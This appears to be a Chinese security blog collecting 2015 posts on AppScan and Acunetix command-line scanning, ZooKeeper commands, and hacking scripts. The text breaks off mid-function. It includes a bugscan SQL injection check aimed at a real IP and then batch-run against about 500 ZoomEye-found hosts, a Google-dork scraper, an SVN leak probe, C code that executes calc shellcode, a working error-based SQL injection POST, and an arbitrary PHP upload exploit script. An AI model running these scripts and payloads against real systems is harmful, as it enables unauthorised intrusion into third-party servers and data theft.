/b base_scan appscancmd无法同wvs_console一样直接用命令行选项来设置扫描参数,appscancmd的扫描必须基于一个base_scan,目的就是为了读取扫描参数。所以在使用appscancmd之前我们必须通过GUI来创建一个base_scan。创建base_scan跟在GUI下创建一个扫描是一样的,唯一区别在“扫描配置向导”的最一步选择“我将稍后启动扫描”,然后保存扫描。示例中我的base_scan保存为D:\Appscan\Basescan\www.scan
/d dest_scan 根据base_scan新生成扫描目标。
/rt report_type 生成报告类型。
/rf    report_file 生成报告

不过整个玩意老吃内存了

常用 AppScan Standard CLI 命令

快速开发过程中,我们往往按照故事(Store)为单元进行开发。实际工作中往往会为每个故事录制 AppScan Standard 的测试脚本,一旦某个故事实现并部署到 FVT(Function Verification Test)环境后,我们会将录制好的该故事的测试脚本加入到集成测试中。在不同迭代(Sprint)阶段,我们会为新增加的故事录制新的测试脚本。在前期的几个迭代阶段,一般仅执行新增故事的安全测试。在最后的几个迭代阶段内,会执行前面阶段所录制的全部测试脚本。FVT 测试完成后系统迁移到 UAT(User Acceptance Test)环境后,还会再次执行全部测试脚本。为了更好地保证系统的安全性,UAT 测试阶段还会由其他安全测试团队对系统再进行一次完整安全测试。

可以看出,整个开发阶段安全测试任务比较多,如果每次都打开图形界面去录制脚本进行安全测试,这个工作量将会比较大。因此实际工作中比较注重测试脚本的重用性。提高脚本重用性主要通过以下几种方式:

  • 将通用的扫描配置导出为 .scant 模板,譬如“环境定义”、“探索选项”、“定制参数”、“错误页面”、“通信和代理”、“测试选项”等。
  • 将定制好的测试策略导出为 .policy 文件,通常将测试测罗分为几组,如“应用程序”、“基础结构”、“侵入性”等。在 FVT 阶段侧重测试应用程序漏洞,在 UAT 阶段侧重测试基础结构及侵入性测试。
  • 将录制好的登录脚本导出 .login 文件。一般建议在登录脚本中使用公用测试帐号,如果绑定了个人帐号,建议各人采用各自的登录脚本,以便个人帐号信息泄漏。
  • 将各个故事对应的测试脚本导出 .exd 文件。
  • 将多步骤操作序列导出为 .seq 文件。

基于以上重用性原则,笔者通常会为系统定制好扫描模板,录制登录脚本,手工探索各个故事的操作过程导出为 .exd 文件(测试策略通常建议由公司层面统一规范)。然后通过 CLI 命令执行以上测试脚本。以下是常用的几个 CLI 命令。

清单 1. 针对某故事的测试命令
AppScanCMD exec /starting_url http://sampleFVT.com/store1 /scan_template mytemplate.scant
 /policy_file c:/scan_scripts/itcs104.policy /login_file jeremy.login 
 /manual_explore_file c:/scan_scripts/store1.exd /test_only 
 /report_file c:/scan_scripts/store1_report.pdf /report_type pdf

清单 1 命令中的 starting_url 设置了该故事的起始 URL;scan_template 设置了全局通用的扫描配置选项,譬如基于参数导航的设置、通信超时设置等;policy_file 指定了测试策略;login_file 指定了当前测试人员自己的登录序列;manual_explore_file 指定了针对该故事所录制并导出的探索脚本;test_only 限定 AppScan 仅测试该故事,不要自行探测其他 URL;report_file 和 report_type 用来设定输出测试报告。

通过清单 1 可以看出,这种测试方法下脚本能够最大化重复利用,譬如登录脚本、模板等;其次,这种测试方法效率较高,仅集中测试该故事所包括的 URL;同时由于脚本都拆开后,可维护性也较好,如果该故事的 URL 有变化,仅需要重新录制探测脚本即可以,或者直接手工编辑 .exd 文件;此外,这个测试脚本可以重复执行,这个命令可以通过批处理文件、Junit、Ant 等集成起来重复调用。

清单 2. 多步骤操作的测试命令
AppScanCMD exec /scan_template mytemplate.scant /policy_file itcs104.policy 
 /login_file jeremy.login /multi_step_file c:/scan_scripts/multistepscenario.seq 
 /multi-step /report_file c:/scan_scripts/store1_report.pdf /report_type pdf

清单 2 命令中的 scan_template 设置了全局通用的扫描配置选项;policy_file 指定了测试策略;login_file 设置了当前测试人员自己的登录序列;multi_step_file 设定了多步骤操作序列;multi-step 标志限定 AppScan 仅测试多步骤操作,不再去探索其他 URL;report_file 和 report_type 用来设定输出测试报告。

清单 3. UAT 环境的测试命令
AppScanCMD exec /starting_url http://sampleUAT.com/store1 /scan_template mytemplate.scant
 /old_host http://sampleFVT.com /new_host http://sampleUAT.com 
 /policy_file c:/scan_scripts/itcs104.policy /login_file jeremy.login 
 /manual_explore_file c:/scan_scripts/store1.exd /test_only 
 /report_file c:/scan_scripts/store1_report.pdf /report_type pdf

通常 FVT 阶段完成后,会利用 new_host 和 old_host 命令来重用 FVT 环境的 AppScan 测试脚本进行 UAT 环境的安全测试。譬如清单 3 所示,相比于清单 1 增加了“/old_host http://sampleFVT.com /new_host http://sampleUAT.com”,AppScan 即可以自动将探索和测试阶段的“sampleFVT.com”域名替换为“sampleUAT.com”域名。非常酷的特性,目前只有 CLI 模式下才能使用该特性,图形界面下暂不支持这功能。

About Acunetix WVS Console

发布时间:July 24, 2015 // 分类:开发笔记,工作日志,运维工作,python,windows,生活琐事 // 6 Comments

今天看到一个大牛在弄一个基于windows和linux下各自扫描器的分布式的系统。由于不同的扫描工具,所运行的环境有所不同,导致我们的扫描系统有必要兼容不同的系统。比如hydra, openvas等工具,它们是比较适合运行在Linux上,而WVS,appscan等工具是运行在Windows上,所以我们有必要同时兼容这两大类系统。如果再深入一点,Linux也分为很多种不同的系统,比如CentOS, Ubuntu,Redhat等,而且即便相同的系统,内核版本不同的话,运行环境也是有很大的区别。

然而今天思考的问题是在windows下进行的AWVS扫描。主要调用了Awvs的命令行wvs_console.exe

>> USAGE: wvs_console /Scan [URL]  OR  /Crawl [URL]  OR  /ScanFromCrawl [FILE]
                      OR  /ScanWSDL [WSDL URL]

>> PARAMETERS                                                                        //参数
       /Scan [URL]               : Scan specified URL                                //扫描特定的URL
       /Crawl [URL]              : Crawl specified URL                               //检索指定的url
       /ScanFromCrawl [FILE]     : Scan from crawling results                        //扫描检索的结果
       /ScanWSDL [WSDL URL]      : Scan web services from WSDL URL                   //扫描来自wsdl的参数URL

       /Profile [PROFILE_NAME]   : Use specified scanning profile during scanning    //使用指定的扫描配置进行扫描
       /Settings [FILE]          : Use specified settings template during scanning   //使用指定的设置模板进行扫描
       /LoginSeq [FILE]          : Use specified login sequence                      //使用指定的登录序列
       /Import [FILE(s)]         : Import files during crawl                         //导入检索的地址进行爬行
       /Run [command line]       : Run this command during crawl                     //
       /Selenium [FILE]          : Execute selenium script during crawl              //执行selenium脚本进行爬行

       /Save                     : Save scan results                                 //保存结果
       /SaveFolder [DIR]         : Specify the folder were all the saved data will be stored //保存记录的目录
       /GenerateZIP              : Compress all the saved data into a zip file       //对所有的数据进行zip压缩
       /ExportXML                : Exports results as XML                            //将结果以XML方式导出
       /ExportAVDL               : Exports results as AVDL                           //将结果以AVDL方式导出
       /SavetoDatabase           : Save alerts to the database                       //把警告数据保存进数据库
       /SaveLogs                 : Save scan logs                                    //保存扫描日志
       /SaveCrawlerData          : Save crawler data (.CWL file)                     //保存检索(爬行)数据
       /GenerateReport           : Generate a report after the scan was completed    //扫描完成后生成报告
       /ReportFormat [FORMAT]    : Generated report format (REP, PDF, RTF, HTML)     //生成报告的格式
       /ReportTemplate [TEMPLATE]: Specify the report template                       //特定的报告模板
       /Timestamps               : Print current timestamp with each line.           //打印每行的时间戳
       /SendEmail                : Send email notification when scan is completed, using scheduler settings. //扫描结束后发送电子邮件
       /EmailAddress [EMAIL]     : Send email notification to this email address, override scheduler settings. //邮件地址会把之前设置的给覆盖掉

       /Verbose                  : Enable verbose mode                               //开启细节模式。也就是发送的具体参数
       /Password                 : Application password (if required)                //如果有需要写入密码
       /?                        : Show this help screen                             //没得说,帮助

>> OPTIONS [ ? = TRUE or FALSE ]                                                   //选项  =true 或者是=false
       --GetFirstOnly=?          : Get only the first URL                            //仅仅获取第一个url
       --RestrictToBaseFolder=?  : Do not fetch anything above start folder          //不扫描当前目录以上的其他目录(扫描二级目录有效)
       --FetchSubdirs=?          : Fetch files bellow base folder                    //
       --ForceFetchDirindex=?    : Fetch directory indexes even if not linked        //扫描目录,即使该目录不再链接里面(就是目录匹配)
       --RobotsTxt=?             : Retrieve and process robots.txt                   //从robots.txt里面获取目录进行爬行
       --CaseInsensitivePaths=?  : Use case insensitive paths                        //
       --UseWebKit=?             : Use WebKit based browser for discovery            //使用基于WebKit的浏览器
       --ScanningMode=*          : Scanning mode (* = Quick, Heuristic, Extensive)   //扫描模式(快速、启发式、广泛的)
       --ManipHTTPHeaders=?      : Manipulate HTTP headers                           //http头可以修改(个人暂时理解为可以修改http头进行提交)
       --UseAcuSensor=?          : Use AcuSensor technology                          //使用AcuSensor 技术(不明所以)
       --EnablePortScanning=?    : Enable port scanning                              //启用端口扫描
       --UseSensorDataFromCrawl=*: Use sensor data from crawl(* = Yes, No, Revalidate) //抓取fuzz提交的数据( = 是,否,重新验证)
       --HtmlAuthUser=?          : Username for HTML based authentication            //基于HTTP认证的用户名
       --HtmlAuthPass=?          : Password for HTML based authentication            //基于HTTP认证的密码
       --ToolTimeout=?           : Timeout for testing tool in seconds               //设置提交的超时时间

>> EXAMPLES
wvs_console /Scan http://testphp.vulnweb.com  /SaveFolder c:\temp\scanResults\ /Save
wvs_console /ScanWSDL http://test/WS.asmx?WSDL /Profile ws_default /Save
wvs_console /Scan http://testphp.vulnweb.com /Profile default /Save --UseWebKit=false --ScanningMode=Heuristic]]

那么扫描的命令我就这样子使用了

wvs_console.exe /Scan http://testphp.vulnweb.com /Profile ws_default /save /savetodatabase --GetFirstOnly=false --FetchSubdirs=true --Re
strictToBaseFolder=true --ForceFetchDirindex=true --SubmitForms=true --RobotsTxt=true --CaseInsensitivePaths=false --UseCSA=true --Us
eAcuSensor=true --EnablePortScanning=false --UseSensorDataFromCrawl=revalidate --ScanningMode=Heuristic --TestWebAppsOnAllDirs=false
--ManipHTTPHeaders=true

既然如此,那么批量扫描也是就是顺理成章的事情了

#!/usr/bin/python
# coding: UTF-8
'''
wvs_console 批量扫描脚本
'''

import sys,os,time

urllist = r'd:\\urllist.txt'    #需扫描网站列表文件
savefolder = r'd:\\result\\'    #扫描结果保存路劲
wvs_console = r'F:\\"Program Files (x86)"\\Acunetix\\"Scanner 10"\\wvs_console.exe' #wvs_console路径


def scan(url,folder):
    if 'http' in url:
        name = url.split('//')[1].replace('/','')
        url = url
    else:
        name = url.replace('\n','')
        url = 'http://'+url
    name = name.replace('\n','')
    url = url.replace('\n','')
    if name in os.listdir(folder):
        print '%s has scaned'%name
    else:
#       os.system('%s'%wvs_console)
        os.system('%s /Scan %s /Profile ws_default /saveFolder %s%s --GetFirstOnly=false --FetchSubdirs=true --RestrictToBaseFolder=true --ForceFetchDirindex=true --SubmitForms=true --RobotsTxt=true --CaseInsensitivePaths=false --UseCSA=true --UseAcuSensor=true --EnablePortScanning=false --UseSensorDataFromCrawl=revalidate --ScanningMode=Heuristic --TestWebAppsOnAllDirs=false --ManipHTTPHeaders=true'%(wvs_console,url,folder,name))



if __name__ == '__main__':
    if not os.path.exists(urllist):
        print r'需扫描的网站文件不存在'
    if os.path.exists(savefolder) == False:
        os.mkdir(savefolder)
    for i in open(urllist):
        scan(i,savefolder)

再然后就是对数据的处理上来了

默认保存的位置为:C:\ProgramData\Acunetix WVS 10\Data\Database\vulnscanresults.mdb

Awvs扫描结果数据库中有一个Wvs_scans表,保存的都是扫描过的url,以及扫描开始时间和结束时间。可以将当天下载的url保存到一个list中,然后在扫描之前先将之前所有扫描过的URL查询出来,同样保存在list中,读取list中的url,判断是否在扫描过的URL list中,如果存在将之从url list中删除掉;如果不存在则再进行扫描。

Awvs会自动将扫描结果保存到本地的access数据库中,具体的表是Wvs_alerts,也可以设置保存到Mssql数据库中,具体的是在Application Setting进行设置。结果入库模块的功能是从access数据库筛选出危害等级大于0的漏洞。然后用正则表达式对request中的host,漏洞文件,get或post提交的请求进行筛选拼凑,获取到完整的漏洞测试url。

其实可以发现:需要的东西都是保存到WVS_alerts

severity为危害等级,分为0,1,2,3分别是无影响,低位,中危,高危

algroup 为漏洞的类型

affects 为漏洞文件

根据某个这些思路。大约可以这么定义

 conn = win32com.client.Dispatch(r'ADODB.Connection')
    DSN = 'PROVIDER=Microsoft Access Driver (*.mdb, *.accdb)'
    conn.Open('awvs')
    cur=conn.cursor()
    rs = win32com.client.Dispatch(r'ADODB.Recordset')
 
    rs.Open('[WVS_alerts]', conn, 1, 3) 
    if rs.recordcount == 0:
        exit()
    #遍历WVS_alerts所有的结果,cmp进行筛选危害等级为3的,也就是高危
    while not rs.eof:
        severity = str(rs('severity'))
        if cmp('3', severity):
            rs.movenext
            continue
        vultype = rs('algroup')
        vulfile=rs('affects')
        #由于mysql库中要求的漏洞类型和access的名称有点差别,所以还需要对漏洞类型和危害等级进行二次命名,sql注入和xss为例
        xss='Cross site'
        sqlinject='injection'
        if xss in str(vultype):
            vultype='XSS'
            level='低危'
        elif sqlinject in str(vultype):
            vultype="SQL注入"
            level='高危'
        else:
            level='中危'
        #拼凑出漏洞测试url,用了正则表达式, post和get类型的request请求是不同的
        params = rs('parameter')
        ss = str(rs('request'))
        str1 = ss[0:4]
 
        if 'POST'== str1:
            requestType = 'POST'
            regex = 'POST (.*?) HTTP/1\.\d+'
            str1 = re.findall(regex, ss);
        else:
            requestType = 'GET'
            regex = 'GET (.*?) HTTP/1\.\d+'
            str1 = re.findall(regex, ss);
        regex = 'Host:(.*?)\r\n'
        host = re.findall(regex, ss);
        if host == []:
            host = ''
        else:
            host = host[0].strip()
        if str1 == []:
            str1 = ''
        else:
            str1 = str1[0]
        url =host + str1
        timex=time.strftime('%Y-%m-%d',time.localtime(time.time()))

晚上到家,重新装了office里面的套件.access,重新打开mdb数据库。然后重新思考了下整个流程

1.用户输入网址进行扫描
 

os.system('%s /Scan %s /Profile ws_default /saveFolder %s%s --GetFirstOnly=false --FetchSubdirs=true --RestrictToBaseFolder=true --ForceFetchDirindex=true --SubmitForms=true --RobotsTxt=true --CaseInsensitivePaths=false --UseCSA=true --UseAcuSensor=true --EnablePortScanning=false --UseSensorDataFromCrawl=revalidate --ScanningMode=Heuristic --TestWebAppsOnAllDirs=false --ManipHTTPHeaders=true'%(wvs_console,url,folder,name))

然后会根据url会在WVS_scans创建一个scid。同时写入当前创建的时间。结束后写入结束的时间

result = "select scid,starttime,finishtime from WVS_scans where starturl="+%d (url)
id=result[scid]
start = result[starttime]
end = result[finishtime]

耗时:time = end -start

再根据scid来查询WVS_alerts里面的信息

result1 = select severity,algroup,affects,parameter,request from WVS_alerts where severity>0 and scid=result[scid]

漏洞级别 result1[severity]
漏洞类型 result1[algroup]
具体文件 result1[affects]
问题参数 result1[parameter]
请求过程 result1[request]

再把相关的数据整合就好了

#!/usr/bin/python
#-*- coding: utf-8 -*-
#Author:saline
#Email:nophacker@gmail.com
import pypyodbc

connection_string = 'Driver={Microsoft Access Driver (*.mdb)};DBQ=D:\\phpStudy\\WWW\\vulnscanresults.mdb'
connection = pypyodbc.connect(connection_string)
#使用Access的ODBC连接字符串,通过pypyodbc模块获得一个可以连接到vulnscanresults.mdb数据库的ODBC连接对象connection:
cur = connection.cursor()
#并从这个连接对象中,获取一个数据库操作游标cur:
sql='select scid,starttime,finishtime from WVS_scans where scid =1'
cur.execute(sql)
#首先,传递SQL查询语句至Access数据库:
for row in cur.fetchall():
    id =row[0]
    start = row[1]
    end = row[2]
    time = end -start
    print '消耗的时间为:'+ str(time)
    sql1 = 'select alid,algroup,severity,affects,parameter,request from WVS_alerts where severity>0 and scid=%d'%(id)
    cur.execute(sql1)
    for raw in cur.fetchall():
        print '第'+str(raw[0]+1)+'问题'
        print raw[1]
        print '危害等级:'+str(raw[2])
        print raw[3]
        print raw[4]
        print raw[5]

connection.close()

至此,一个简单的demo已经完成了。虽然是一些片段

Zookeeper常用命令

发布时间:July 15, 2015 // 分类:开发笔记,运维工作,linux,python,windows // No Comments

zk客户端命令

ZooKeeper命令行工具类似于Linux的shell环境,不过功能肯定不及shell啦,但是使用它我们可以简单的对ZooKeeper进行访问,数据创建,数据修改等操作.  使用 zkCli.sh -server 127.0.0.1:2181 连接到 ZooKeeper 服务,连接成功后,系统会输出 ZooKeeper 的相关环境以及配置信息。

命令行工具的一些简单操作如下:

如下示例:

  • 1. 显示根目录下、文件: ls / 使用 ls 命令来查看当前 ZooKeeper 中所包含的内容
  • 2. 显示根目录下、文件: ls2 / 查看当前节点数据并能看到更新次数等数据
  • 3. 创建文件,并设置初始内容: create /zk "test" 创建一个新的 znode节点“ zk ”以及与它关联的字符串
  • 4. 获取文件内容: get /zk 确认 znode 是否包含我们所创建的字符串
  • 5. 修改文件内容: set /zk "zkbak" 对 zk 所关联的字符串进行设置
  • 6. 删除文件: delete /zk 将刚才创建的 znode 删除
  • 7. 退出客户端: quit
  • 8. 帮助命令: help

429306093

429329789

 

ZooKeeper 常用四字命令:

      ZooKeeper 支持某些特定的四字命令字母与其的交互。它们大多是查询命令,用来获取 ZooKeeper 服务的当前状态及相关信息。用户在客户端可以通过 telnet 或 nc 向 ZooKeeper 提交相应的命令

传递四个字母的字符串给ZooKeeper,ZooKeeper会返回一些有用的信息。

ZooKeeper 四字命令

功能描述

conf

输出相关服务配置的详细信息。

cons

列出所有连接到服务器的客户端的完全的连接 / 会话的详细信息。包括“接受 / 发送”的包数量、会话 id 、操作延迟、最后的操作执行等等信息。

dump

列出未经处理的会话和临时节点。

envi

输出关于服务环境的详细信息(区别于 conf 命令)。

reqs

列出未经处理的请求

ruok

测试服务是否处于正确状态。如果确实如此,那么服务返回“imok ”,否则不做任何相应。

stat

输出关于性能和连接的客户端的列表。

wchs

列出服务器 watch 的详细信息。

wchc

通过 session 列出服务器 watch 的详细信息,它的输出是一个与watch 相关的会话的列表。

wchp

通过路径列出服务器 watch 的详细信息。它输出一个与 session相关的路径。

 

如下示例:

  • 1. 可以通过命令:echo stat|nc 127.0.0.1 2181 来查看哪个节点被选择作为follower或者leader
  • 2. 使用echo ruok|nc 127.0.0.1 2181 测试是否启动了该Server,若回复imok表示已经启动。
  • 3. echo dump| nc 127.0.0.1 2181 ,列出未经处理的会话和临时节点。
  • 4. echo kill | nc 127.0.0.1 2181 ,关掉server
  • 5. echo conf | nc 127.0.0.1 2181 ,输出相关服务配置的详细信息。
  • 6. echo cons | nc 127.0.0.1 2181 ,列出所有连接到服务器的客户端的完全的连接 / 会话的详细信息。
  • 7. echo envi |nc 127.0.0.1 2181 ,输出关于服务环境的详细信息(区别于 conf 命令)。
  • 8. echo reqs | nc 127.0.0.1 2181 ,列出未经处理的请求。
  • 9. echo wchs | nc 127.0.0.1 2181 ,列出服务器 watch 的详细信息。
  • 10. echo wchc | nc 127.0.0.1 2181 ,通过 session 列出服务器 watch 的详细信息,它的输出是一个与 watch 相关的会话的列表。
  • 11. echo wchp | nc 127.0.0.1 2181 ,通过路径列出服务器 watch 的详细信息。它输出一个与 session 相关的路径。

273847384

273799725

写个脚本来搞定


import sys
from kazoo.client import KazooClient
​
host = sys.argv[1]
conn = KazooClient(host)
conn.start()
sysinfo = conn.command('envi')
print sysinfo

 

利用bugscan插件打造自己的漏扫

发布时间:July 11, 2015 // 分类:工作日志,开发笔记,linux,python,windows,转帖文章,生活琐事 // No Comments

如果要针对某个特定的漏洞来对目标进行检测, 直接丢到bugscan里显然有点大材小用,而且灵活性也不高。

就选一个泛微的漏洞吧,泛微e-cology 未授权下载文件处sql注入

新建个目录叫bugscan, 把这个插件保存为ecology.py,并放到这个目录下, 在ecology.py里再加一句话from dummy import *

tu

另外再新建个__init__.py的空文件, 把bugscan的sdk中的dummy文件夹也放到这里面

我的截图如下

tu

然后到bugscan的上级目录新建个py脚本

#!/usr/bin/python
from  bugscan import ecology
ecology.audit('http://220.248.243.186:8081/')

运行下 tu

然后就可以调用了。。

现在来批量。

查找目标zoomeye 
有500多台主机吧。。 
稍微改写下脚本

#!/usr/bin/python
from  bugscan import ecology

#target每个ip用换行隔开的,为了采集简单我查找的80端口
targets = file('target').readlines()

for target in targets:
    target = target.rstrip()
    ecology.audit("http://"+target+":80/")

tu

bugscandk下载地址:https://www.bugscan.net/sdk.zip

zoomeye:http://www.zoomeye.org/

python 域名转IP

发布时间:July 2, 2015 // 分类:工作日志,开发笔记,运维工作,linux,代码学习,windows,python // No Comments

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import socket
import urlparse

def getIp(domain):
    trytime = 0
    while True:
         try:
            domain = domain.split(':')[0]
            myaddr = socket.getaddrinfo(domain,None)[0][4][0]
            return myaddr
         except:
            trytime+=1
            if trytime>3:
                return ""

if __name__=='__main__':
    www = "http://0cx.cc"
    hosts = urlparse.urlsplit(www)
    if ":" in hosts.netloc:
        host = hosts.netloc.split(":")[0]
        port = hosts.netloc.split(":")[1]
    else:
        host = hosts.netloc
        port = '80'
        print getIp(host)

 

最近在抓几个payload(java反序列的),准备拿socket来实现。暂时只能是模拟发包。

抓包工具 wireshark
在线python 沙盒 http://www.runoob.com/try/runcode.php?filename=HelloWorld&type=python

主要为了方便部分是有域名的。同时域名会转换为IP而准备的。一个从谷歌的搜索抓取结果的脚本

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os,sys,requests,re
import pdb,urllib
from urllib import unquote
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36',
    'content-type': 'application/x-www-form-urlencoded',
    }
def google(domain):
    #domain ='site:0day5.com inurl:php'
    r =requests.get('https://www.google.com.hk/search?q='+domain+'&aqs=chrome..69i57j69i58.2444j0j9&sourceid=chrome&es_sm=91&ie=UTF-8&start=1&num=1000&',headers=headers)
    matc = re.findall('u=(.*?)&amp;prev=search',r.content)
    #page = re.findall("<div id=\"resultStats\">(.*?)<nobr>",r.text)
    #print page
    for url in matc:
        print unquote(url)

if __name__=="__main__": 
      
    if len(sys.argv)!=2: 
        print "Usage:"+"python"+" test.py "+"keywords"
        print "example:"+"python test.py site:0day5.com"
        sys.exit() 
    else: 
        google(sys.argv[1])

一个svn的探测脚本

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
r = requests.get('http://www.baidu.com/.svn/entries')
#print r.headers
get=r.text.split('\n')
dir=[get[i-1] for i in range(len(get)) if get[i]=='dir' and get[i-1]!='']
file=[get[i-1] for i in range(len(get)) if get[i]=='file' and get[i-1]!='']
print dir
print file

 

几种用C语言来执行shellcode(其实也就是机器码)的方式

发布时间:June 5, 2015 // 分类:开发笔记,VC/C/C++,代码学习,windows // No Comments

/*   
 *  作者: 冷却   
 *  时间: 2009年2月21日   
 *  E-mail: leng_que@yahoo.com.cn   
 *  描述: 演示几种用C语言来执行shellcode(其实也就是机器码)的方式 
 *  备注:在WindowsXP SP3下测试成功 
 */  
  
//一段打开Windows计算器(calc.exe)的shellcode  
unsigned char shellcode[] =  
"/xb8/x82/x0a/x8d/x38/xd9/xc6/xd9/x74/x24/xf4/x5a/x29/xc9/xb1/x23"  
"/x31/x42/x12/x83/xea/xfc/x03/xc0/x04/x6f/xcd/x38/xf0/x2b/x2e/xc0"  
"/x01/x3f/x6b/xfc/x8a/x43/x71/x84/x8d/x54/xf2/x3b/x96/x21/x5a/xe3"  
"/xa7/xde/x2c/x68/x93/xab/xae/x80/xed/x6b/x29/xf0/x8a/xac/x3e/x0f"  
"/x52/xe6/xb2/x0e/x96/x1c/x38/x2b/x42/xc7/xc5/x3e/x8f/x8c/x99/xe4"  
"/x4e/x78/x43/x6f/x5c/x35/x07/x30/x41/xc8/xfc/x45/x65/x41/x03/xb2"  
"/x1f/x09/x20/x40/xe3/x83/xe8/x2c/x68/xa3/xd8/x29/xae/x5c/x15/xba"  
"/x6f/x91/xae/xcc/x73/x04/x3b/x44/x84/xbd/x35/x1f/x14/xf1/x46/x1f"  
"/x15/x79/x2e/x23/x4a/x4c/x59/x3b/x22/x27/x5d/x38/x0a/x4c/xce/x56"  
"/xf5/x6b/x0c/xd5/x61/x14/x2f/x93/x7c/x73/x2f/x44/xe3/x1a/xa3/xe9"  
"/xe4";  
  
//第一种执行方式  
void exe_1()  
{  
    void (*code)(void);  
    code = (void*)shellcode;  
    code();  
}  
  
//第二种执行方式  
void exe_2()  
{  
    ( (void (*)(void))shellcode )();  
}  
  
//第三种执行方式  
void exe_3()  
{  
    __asm  
    {  
        lea eax,shellcode;  
        jmp eax;  
    }  
}  
  
//第四种执行方式  
void exe_4()  
{  
    __asm  
    {  
        mov eax,offset shellcode;  
        jmp eax;  
    }  
}  
  
//第五种执行方式  
void exe_5()  
{  
    __asm  
    {  
        mov eax,offset shellcode;  
        _emit 0xFF;  
        _emit 0xE0;  
    }  
}  
  
//主函数入口  
void main()  
{  
    exe_5();  
} 

 

/* 
 *  作者: 冷却 
 *  时间: 2009年2月21日 
 *  E-mail: leng_que@yahoo.com.cn 
 *  描述: 演示三种用C语言来执行机器码的方式 
 */  
  
#include <stdio.h>  
  
//一段机器码,功能为:对传入的整型参数进行加一操作,然后返回结果。  
unsigned char machineCode[] =  
"/xe9/x07/x00/x00/x00/xcc/xcc/xcc/xcc/xcc/xcc/xcc/x55/x8b/xec/x83/xec/x40/x53/x56"  
"/x57/x8d/x7d/xc0/xb9/x10/x00/x00/x00/xb8/xcc/xcc/xcc/xcc/xf3/xab/x8b/x45/x08/x83"  
"/xc0/x01/x5f/x5e/x5b/x8b/xe5/x5d/xc3";  
  
//第一种执行方式  
void exe_1()  
{  
    int result;  
      
    result = ( (int (*)(int))machineCode )(7);  
      
    printf("%d/r/n",result);  
}  
  
//第二种执行方式  
void exe_2()  
{  
    int result;  
      
    int (*Fun)(int);  
    Fun = (void*)machineCode;  
      
    result = Fun(7);  
      
    printf("%d/r/n",result);  
}  
  
//第三种执行方式  
void exe_3()  
{  
    int result;  
      
    typedef int(*Fun)(int);  
    Fun p=NULL;  
      
    p = (Fun)machineCode;  
      
    result = p(7);  
      
    printf("%d/r/n",result);  
}  
  
//主函数入口  
void main()  
{  
    exe_1();  
    exe_2();  
    exe_3();  
} 

关于tangscan插件写法的注意点

发布时间:June 1, 2015 // 分类:工作日志,开发笔记,代码学习,python,生活琐事 // No Comments

因为目前全局使用的是requests库,所以基本的使用方法和requests基本的是差不多的.这记录几点.

1.post的.遇到的几个坑,比如忘记带上headers了,怎么post也不行。比如单引号忘记转移了。

'需要转移为\\' 然后再进行post。

类似这样子

#! /usr/bin/env python
# -*- coding: utf-8 -*-

import requests
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36',
        'content-type': 'application/x-www-form-urlencoded',}
url = "http://www.0day5.com:8000/logincheck.php"
data= "PASSWORD=g00dPa$$w0rD&submit=%b5%c7%20%c2%bc&UI=0&UNAME=%bf\\' AND (SELECT 7140 FROM(SELECT COUNT(*),CONCAT(0x7e7e7e,(SELECT user()),0x7e7e7e,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)#"
res =requests.post(url,data=data,headers=headers)
print res.content

尝试过,缺少了headers或者是'不转移都是失败了.但是测试了有些payload里面没有单引号的直接post就过了

2.requests的上传..

找了一些,发现略坑,这里说一下自己的办法。因为post的所以这里带上了headers,其实主要的是

"Content-Type": "multipart/form-data

然后自己的全部就构造一个post包就可以了。这里也是抓了一个任意上传的来简单的说说.

一个完整的上传包是这样子的

POST /general/vmeet/wbUpload.php?fileName=wooyun.php+ HTTP/1.0
Host: www.0day5:8000
Content-Length: 194
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: null
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryINwvNFV19i1MtO9F
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=bbb1216cd5bfef19bc1a9fee5db4f3e4

------WebKitFormBoundaryINwvNFV19i1MtO9F
Content-Disposition: form-data; name="Filedata"; filename="cmd.gif"
Content-Type: image/gif

wooyuntest
------WebKitFormBoundaryINwvNFV19i1MtO9F--

然后我们截取http头部的基本信息,然后把body部分的拿出来,

------WebKitFormBoundaryINwvNFV19i1MtO9F
Content-Disposition: form-data; name="Filedata"; filename="cmd.gif"
Content-Type: image/gif

wooyuntest
------WebKitFormBoundaryINwvNFV19i1MtO9F--

然后把 " 用\" 来替换,再使用\\r\\n对\r\n进行替换。body部分就是这样子了。

------WebKitFormBoundaryINwvNFV19i1MtO9F\r\nContent-Disposition: form-data; name=\"Filedata\"; filename=\"cmd.gif\"\r\nContent-Type: image/gif\r\n\r\nwooyuntest\r\n------WebKitFormBoundaryINwvNFV19i1MtO9F--\r\n

那么完整的就是这样子了...

#! /usr/bin/env python
# -*- coding: utf-8 -*-

import requests,random
header = {"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryINwvNFV19i1MtO9F",
            "Accept-Encoding": "gzip, deflate","Cookie": "PHPSESSID=bbb1216cd5bfef19bc1a9fee5db4f3e4"}
rand_num = random.randint(10000,99999)
file_name = "wooyun_2015_"+bytes(rand_num)+".php+"
payload = "/general/vmeet/wbUpload.php?fileName="+file_name
url = "http://www.0day5.com"+payload
data="------WebKitFormBoundaryINwvNFV19i1MtO9F\r\nContent-Disposition: form-data; name=\"Filedata\"; filename=\"cmd.gif\"\r\nContent-Type: image/gif\r\n\r\nwooyuntest\r\n------WebKitFormBoundaryINwvNFV19i1MtO9F--\r\n\r\n"
res = requests.post(url,data=data,header=header)
print res.headers

遇到上传截断的怎么破.

我们熟知的使用%00来对上传包进行截断。可是再python里面怎么上传这个阶段包呢.---使用\x00进行截断就好了

    def verify(self):
        self.print_debug("verify start")
